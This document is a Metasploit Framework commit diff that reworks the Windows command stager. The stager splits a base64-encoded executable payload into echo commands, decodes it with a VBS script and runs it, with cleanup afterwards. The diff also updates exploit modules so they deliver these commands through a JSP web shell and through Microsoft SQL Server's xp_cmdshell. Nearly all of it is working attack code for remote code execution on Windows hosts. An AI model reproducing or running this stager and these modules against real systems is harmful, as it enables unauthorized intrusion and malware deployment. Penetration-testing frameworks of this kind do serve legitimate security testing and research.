big update to cmd stager

1. returns array of commands instead of big blob of lines
2. combine lines together when possible (to reduce # of commands to execute)
3. add cmd stager usage in mssql_payload
4. remove extraneous stuff here and there

git-svn-id: file:///home/svn/framework3/trunk@8721 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-03-05 00:29:44 +00:00
parent d8818fc268
commit 73da75a931
5 changed files with 142 additions and 135 deletions

View File

@ -14,7 +14,7 @@ module Exploit::CmdStager
#
def initialize(info = {})
super
@cmdstager = nil
@cmd_list = nil
end
@ -34,37 +34,25 @@ module Exploit::CmdStager
end
cmdstager = Rex::Exploitation::CmdStager.new(pl, framework, los, larch)
cstager = cmdstager.generate(opts, linelen)
cmd_list = cmdstager.generate(opts, linelen)
if (cstager.nil?)
print_error("The cmdstager could not be generated")
if (cmd_list.nil? or cmd_list.length < 1)
print_error("The command stager could not be generated")
raise ArgumentError
end
@cmdstager = cstager
return cstager
@cmd_list = cmd_list
end
#
# Show the progress of the upload (XXX: uses printf/print)
# Show the progress of the upload
#
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
if (done.to_f < 99.00)
printf("\r\e[0K[ cmdstager %3.2f%% done (%d/%d bytes) ]", done.to_f, sent, total)
$stdout.flush
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
end
if(done.to_f > 99.00 && done.to_f < 100.00)
# just to beautify output so the handler output will kick in
print "\r\e[0K"
$stdout.flush
return
end
end
end

View File

@ -13,131 +13,119 @@ module Exploitation
class CmdStager
module Windows
Alias = "win"
module X86
Alias = ARCH_X86
end
module X86_64
Alias = ARCH_X86_64
end
end
def initialize(payload, framework, platform, arch = nil)
@var_decoder = Rex::Text.rand_text_alpha(5)
@var_encoded = Rex::Text.rand_text_alpha(5)
@var_batch = Rex::Text.rand_text_alpha(5)
@decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here
@framework = framework
@exes = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
@linelen = 2047 # covers most likely cases
platform = platform.names[0] if (platform.kind_of?(Msf::Module::PlatformList))
# Use the first architecture if one was specified
arch = arch[0] if (arch.kind_of?(Array))
if platform.nil?
raise RuntimeError, "No platform restrictions were specified -- cannot select egghunter"
# XXX: TODO: support multipl architectures/platforms
@exe = Msf::Util::EXE.to_win32pe(@framework, payload.encoded)
end
CmdStager.constants.each { |c|
mod = self.class.const_get(c)
next if ((!mod.kind_of?(::Module)) or
(!mod.const_defined?('Alias')))
if (platform =~ /#{mod.const_get('Alias')}/i)
self.extend(mod)
if (arch and mod)
mod.constants.each { |a|
amod = mod.const_get(a)
next if ((!amod.kind_of?(::Module)) or
(!amod.const_defined?('Alias')))
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
amod = mod.const_get(a)
self.extend(amod)
end
}
end
end
}
end
# generates the cmd payload including the h2bv2 decoder and encoded payload
# also performs cleanup and removed any left over files
#
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
# The resulting commands also perform cleanup, removing any left over files
#
def generate(opts = {}, linelen = 200)
@linelen = linelen
cmd = payload_exe
return cmd
# Return the output from payload_exe
payload_exe(opts)
end
def payload_exe(persist = false)
if(persist)
opts = {:persist => true}
else
opts = {}
end
#
# This does the work of actually building an array of commands that
# when executed will create and run an executable payload.
#
def payload_exe(opts)
decoder = generate_decoder()
persist = opts[:persist]
exe = @exes.dup
encoded = encode_payload(exe)
# Initialize an arry of commands to execute
cmds = []
stage = encoded + decoder
stage << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs\n"
# Add the exe building commands (write to .b64)
cmds += encode_payload()
# Add the decoder script building commands
cmds += generate_decoder()
# Make it all happen
cmds << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs"
# If we're not persisting, clean up afterwards
if (not persist)
stage << "del %TEMP%\\#{@var_decoder}.vbs\n"
stage << "del %TEMP%\\#{@var_encoded}.b64\n"
cmds << "del %TEMP%\\#{@var_decoder}.vbs"
cmds << "del %TEMP%\\#{@var_encoded}.b64"
end
return stage
# Compress commands into as few lines as possible.
new_cmds = []
line = ''
cmds.each { |cmd|
# If this command will fit...
if ((line.length + cmd.length + 4) < @linelen)
line << " & " if line.length > 0
line << cmd
else
# It won't fit.. If we don't have something error out
if (line.length < 1)
raise RuntimeError, 'Line fit problem -- file a bug'
end
# If it won't fit even after emptying the current line, error out..
if (cmd.length > @linelen)
raise RuntimeError, 'Line too long - %d bytes' % cmd.length
end
new_cmds << line
line = ''
line << cmd
end
}
new_cmds << line if (line.length > 0)
# Return the final array.
new_cmds
end
def generate_decoder()
decoder = File.read(@decoder, File.size(@decoder))
# Read the decoder data file
f = File.new(@decoder, "rb")
decoder = f.read(f.stat.size)
f.close
# Replace variables
decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs")
decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64")
decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe")
return decoder
# Split it apart by the lines
decoder.split("\n")
end
def encode_payload(cmd)
tmp = Rex::Text.encode_base64(cmd)
encoded = ""
buf = buffer_exe(tmp)
buf.each_line { | line |
encoded << "echo " << line.chomp << ">>%TEMP%\\#{@var_encoded}.b64\n"
}
def encode_payload()
tmp = Rex::Text.encode_base64(@exe)
orig = tmp.dup
return encoded
cmds = []
l_start = "echo "
l_end = ">>%TEMP%\\#{@var_encoded}.b64"
xtra_len = l_start.length + @var_encoded.length + l_end.length + 1
while (tmp.length > 0)
cmd = ''
cmd << l_start
cmd << tmp.slice!(0, (@linelen - xtra_len))
cmd << l_end
cmds << cmd
end
protected
# restricts line length of commands so that the commands will not exceed
# user specified values or os_detect set linelen
# each line will never exceed linelen bytes in length
def buffer_exe(buf)
0.upto(buf.length) do | offset |
if(offset % @linelen == 0 && offset != 0 || offset == buf.length)
buf.insert(offset, "\n")
end
end
return buf
cmds
end
end

View File

@ -61,33 +61,37 @@ class Metasploit3 < Msf::Exploit::Remote
false
end
def exploit
generate_cmdstager()
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5)
cmd_list = generate_cmdstager()
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5, cmd_list)
handler
end
def http_send_cmd(opts, delay = 0.5)
len = @cmdstager.length
def http_send_cmd(opts, delay = 0.5, cmd_list)
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }
sent = 0
@cmdstager.each_line{ |cmd|
cmd_list.each { |cmd|
opts.each { |key, value|
value.gsub!(/CMDS/, Rex::Text.uri_encode(cmd))
resp = send_request_raw(opts, 5)
value.gsub!(Rex::Text.uri_encode(cmd), 'CMDS')
sent = sent + cmd.length
sent += cmd.length
# so multi threaded servers can place data in files in the correct order
select(nil, nil, nil, delay)
}
progress(len, sent)
progress(total_bytes, sent)
}
end

View File

@ -78,8 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
cmds = generate_cmdstager({}, 2047, p)
scr = ""
cmds.each_line { |ln|
ln.chomp!
cmds.each { |ln|
scr << " f.writeString('"
scr << ln
scr << "\\n');\n"

View File

@ -15,8 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
@ -27,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
Note that this module will leave a metasploit payload in the Windows
System32 directory which must be manually deleted once the attack is completed.
},
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ],
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
@ -46,20 +47,47 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultTarget' => 0
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
])
end
def exploit
debug = false # enable to see the output
debug = datastore['VERBOSE'] # enable to see the output
if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
# Use the CmdStager or not?
if (not datastore['UseCmdStager'])
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
else
cmd_list = generate_cmdstager({}, 1500)
total_bytes = 0
cmd_list.each { |cmd| total_bytes += cmd.length }
sent = 0
delay = 0.25
cmd_list.each { |cmd|
mssql_xpcmdshell(cmd, debug)
sent += cmd.length
# so multi threaded servers can place data in files in the correct order
select(nil, nil, nil, delay)
progress(total_bytes, sent)
}
end
handler
disconnect
end
end